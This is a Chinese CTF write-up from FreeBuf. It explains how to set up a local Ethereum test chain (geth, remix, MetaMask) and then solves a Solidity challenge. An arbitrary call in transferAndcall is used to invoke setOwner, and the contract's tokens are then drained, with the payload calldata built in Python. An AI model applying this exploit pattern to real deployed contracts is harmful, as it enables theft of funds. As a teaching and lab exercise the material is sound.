近来多个CTF比赛均出现区块链题目,区块链应用越来越成为热门应用,了解和掌握区块链合约漏洞利用实操知识对于萌新来说也是有必要的。下面主要从环境搭建到CTF题目实例讲解展开。
一、环境搭建
1.1 安装工具
先安装remix-ide,必须先安装运行环境nodejs。
步骤为:
sudo apt-get install nodejs
sudo npm install remix-ide -g
默认启动只会监听127.0.0.1, 可以修改remix-ide文件将其中127.0.0.1改为0.0.0.0。
server.listen(8080, '0.0.0.0', function () {})
启动remix-ide,直接运行remix-ide即可。
本地安装geth以太坊客户端,下载地址
使用chrome浏览器,安装metamask插件,需要翻墙搜索metamask安装或下载(地址)后拖到chrome离线安装。
1.2 配置环境
本地运行geth开启一个RPC测试环境:
geth.exe --networkid 123 --dev --datadir data1 --rpc --rpcapi "db,eth,net,web3,miner,personal,debug" --rpcaddr 0.0.0.0 --rpcport 8545 console
进入geth console交互界面后,创建2个测试账户,因后面合约提交均消耗手续费,不挖矿的情况可通过默认账户直接转账:
> personal.newAccount() #创建2个账户,运行2次
> eth.accounts # 查看账户列表
> eth.getBalance(eth.accounts[0]) #默认账户的余额无穷大
1.15792089237316195423570985008687907853269984665640564039437587945047129639927e+77
>user0=eth.accounts[0]
"0x36225609210808cc4693d9b819d9648585202d63"
> user1=eth.accounts[1]
ddd"0x2300c1b01cd14c2aa64a8d070e1576bb71f9d1fa"
> user2=eth.accounts[2]
"0xefb9dc7fe744728293a3e63d7fcd948053997e07"
> eth.sendTransaction({from:user0,to:user1,value:web3.toWei(10,'ether')}) #转账10 ether
> eth.sendTransaction({from:user0,to:user2,value:web3.toWei(10,'ether')}) #转账10 ether
若第一个账户也无余额,可挖矿。
直接运行miner.start(),结束挖矿运行miner.stop(),有余额再执行转账。
默认geth.exe保存用户的私钥在“用户目录/data1/keystore”。
类似格式为:
{"address":"2300c1b01cd14c2aa64a8d070e1576bb71f9d1fa","crypto":{"cipher":"aes-128-ctr","ciphertext":"40e9a2863601fcfe1480c14ec09bf4cb5c03433db7a158b29d4b7fce5c7553be","cipherparams":{"iv":"736b59a4a32a494a605a46b4c0171080"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"a447a26afd3d41e705efe3cb3146796d2c4ddd00857a5956375e0fa591dddc02"},"mac":"52857f9d610bd192fa46ba8394884f4d18f28e5581e11139989d9603fa4cd974"},"id":"4919d6b1-1085-44ed-93db-df3c5c907274","version":3}
chrome浏览器打开remix-ide界面,地址为:http://虚拟机地址:8080。
登录metamask,因本地测试,配置网络为本地主机8545,如果是远程主机,可自定义RPC。
导入账户,先导入发布合约的账户,再导入测试账户,类型选择json文件,输入创建时设置的密码即可导入。
账号创建后可能发布合约失败,报”Error: invalid sender“,这时可在MetaMask配置界面中修改链ID为networkid(geth运行时设置为123),并点击下面的“重设账户”,可通过geth指令查看:
> web3.version
{
api: "0.20.1",
ethereum: "0x3f",
network: "123",
node: "Geth/v1.8.19-stable-dae82f09/windows-amd64/go1.11.2",
whisper: "6.0",
getEthereum: function(callback),
getNetwork: function(callback),
getNode: function(callback),
先用测试账号发布合约,直接拷贝代码到remix客户端,选择对应的solidity版本(v0.4.16),编译,发布即可。发布的地址即为合约的地址,记录下该地址。
eth.getTransaction('0x17b9b7893e07b5c9630ad6da6bf212d6c4a28fff48d44511635f269978927ba9') #根据交易hash查看交易情况{blockHash: "0x15c6ef316f826b2d6e9b14e57426cf08f0cb78b6fddb32fc586637ac1943dd88",blockNumber: 2,from: "0x2300c1b01cd14c2aa64a8d070e1576bb71f9d1fa",gas: 1312378,gasPrice: 1000000000,...}> abi="[]" # a=a.replace('\n','').replace(' ',''),abi可通过remix-ide编译生成> var heyue = eth.contract(abi).at(address) > heyue.balanceOf(address) #调用某函数
ps:在线环境下,可不配置本地remix和geth,直接用在线Solidity编辑器:http://remix.ethereum.org。
测试合约可发布到Ropsten测试网络,metamasks连接Ropsten网络,领取ETH可在一些水管上领取,
如在http://faucetropstenbe:3001/上申请,只需要输入你在Ropsten网络上的账户地址就行,metamask也有免费领取的接口。
二、题目分析
2.1 代码分析
pragma solidity ^0.4.16;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public returns (bool);
}
contract DSAuth {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = 0x000000000000000000000000000000000000dead;
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract CTF is DSAuth {
string public name = "CTF Token";
string public symbol = "CTF";
uint8 public decimals = 0;
uint256 public totalSupply = 10000 * 10 ** uint256(decimals);
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function CTF() public {
balanceOf[this] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(this != _from);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferAndcall(address _to, uint256 _value, bytes _data) public returns (bool success)
{
_to.call(_data);
_transfer(msg.sender, _to, _value);
return true;
}
function transferFromContract(address _to, uint _value) external returns (bool success) {
assert(owner == msg.sender);
require(balanceOf[this] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[this] + balanceOf[_to];
balanceOf[this] -= _value;
balanceOf[_to] += _value;
Transfer(this, _to, _value);
assert(balanceOf[this] + balanceOf[_to] == previousBalances);
return true;
}
}
题目要求将ETH智能合约中的CTF Token全部转走。
分析代码发现transferFromContract 函数可将合约的token转到用户指定地址下,但是assert(owner == msg.sender);
难以绕过。
再分析前面的transferAndcall函数,这里可以接收参数_data,下面有to.call(_data);
可执行指定的代码,只要按照格式拼接起来可达到执行任意函数的可能。
为了绕过assert(owner == msg.sender);
可通过call 调用setOwner,将ower指定为攻击者ID,这样再指定调用transferFromContract 函数即可实现将合约的token全部转走的目的。
2.2 代码调试
调试选择remix的运行环境为Javascript VM,deploy后,查看合约的token,直接输入合约地址,点击balanceOf即可,得到合约的token为10000。
想办法调用setOwner, 该函数无法直接调用,因为无法直接绕过auth鉴权函数:
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
通过call调用,_to为合约地址,那么src==address(this)可以绕过auth限制。
可任意修改代码进行调试匹配结果,如在transferAndcall函数中修改:
bytes4 dd = bytes4(keccak256("setOwner(address)"));
//_to.call(dd, 0xca35b7d915458ef540ade6068dfe2f44e8fa733c);
_to.call(_data);
单击remix的代码行号可设置断点。
指定交易一次:
点击对应交易日志的Debug按钮,可进行调试。
观察Solidity Locals,第一句运行完后可得到dd=0x13AF4035,这里取得sha3(函数串)得前4个字节。
geth console中运行也可得到,取前面4个字节即可。
call调用格式为:addr.call(bytes4(keccak256("setOwner(address)")), address)。
拼接data 格式为函数地址,拼接上address地址,需要256位(bit)补全。
>>> a="0x13AF4035"
>>> b="0xca35b7d915458ef540ade6068dfe2f44e8fa733c"[2:]
>>> a+b.rjust(64,'0')
'0x13AF4035000000000000000000000000ca35b7d915458ef540ade6068dfe2f44e8fa733c'
在将这一串作为_data参数传进去,执行,再查看ower已经变为攻击者了。
然后直接执行transferFromContract,将10000 token转账到攻击账户即可。
2.3 应用测试
用题目给定的测试账户登录,编译后将合约发布到题目指定的合约地址:
拼接data,修改为测试账户地址:
执行transferAndcall函数后发现owner已变为攻击者本身。
再直接执行transferFromContract即可:
然后查看公约地址的token已变为0了,token都转到攻击者账户上了:
*本文作者:gwenchill,转载请注明来自FreeBuf.COM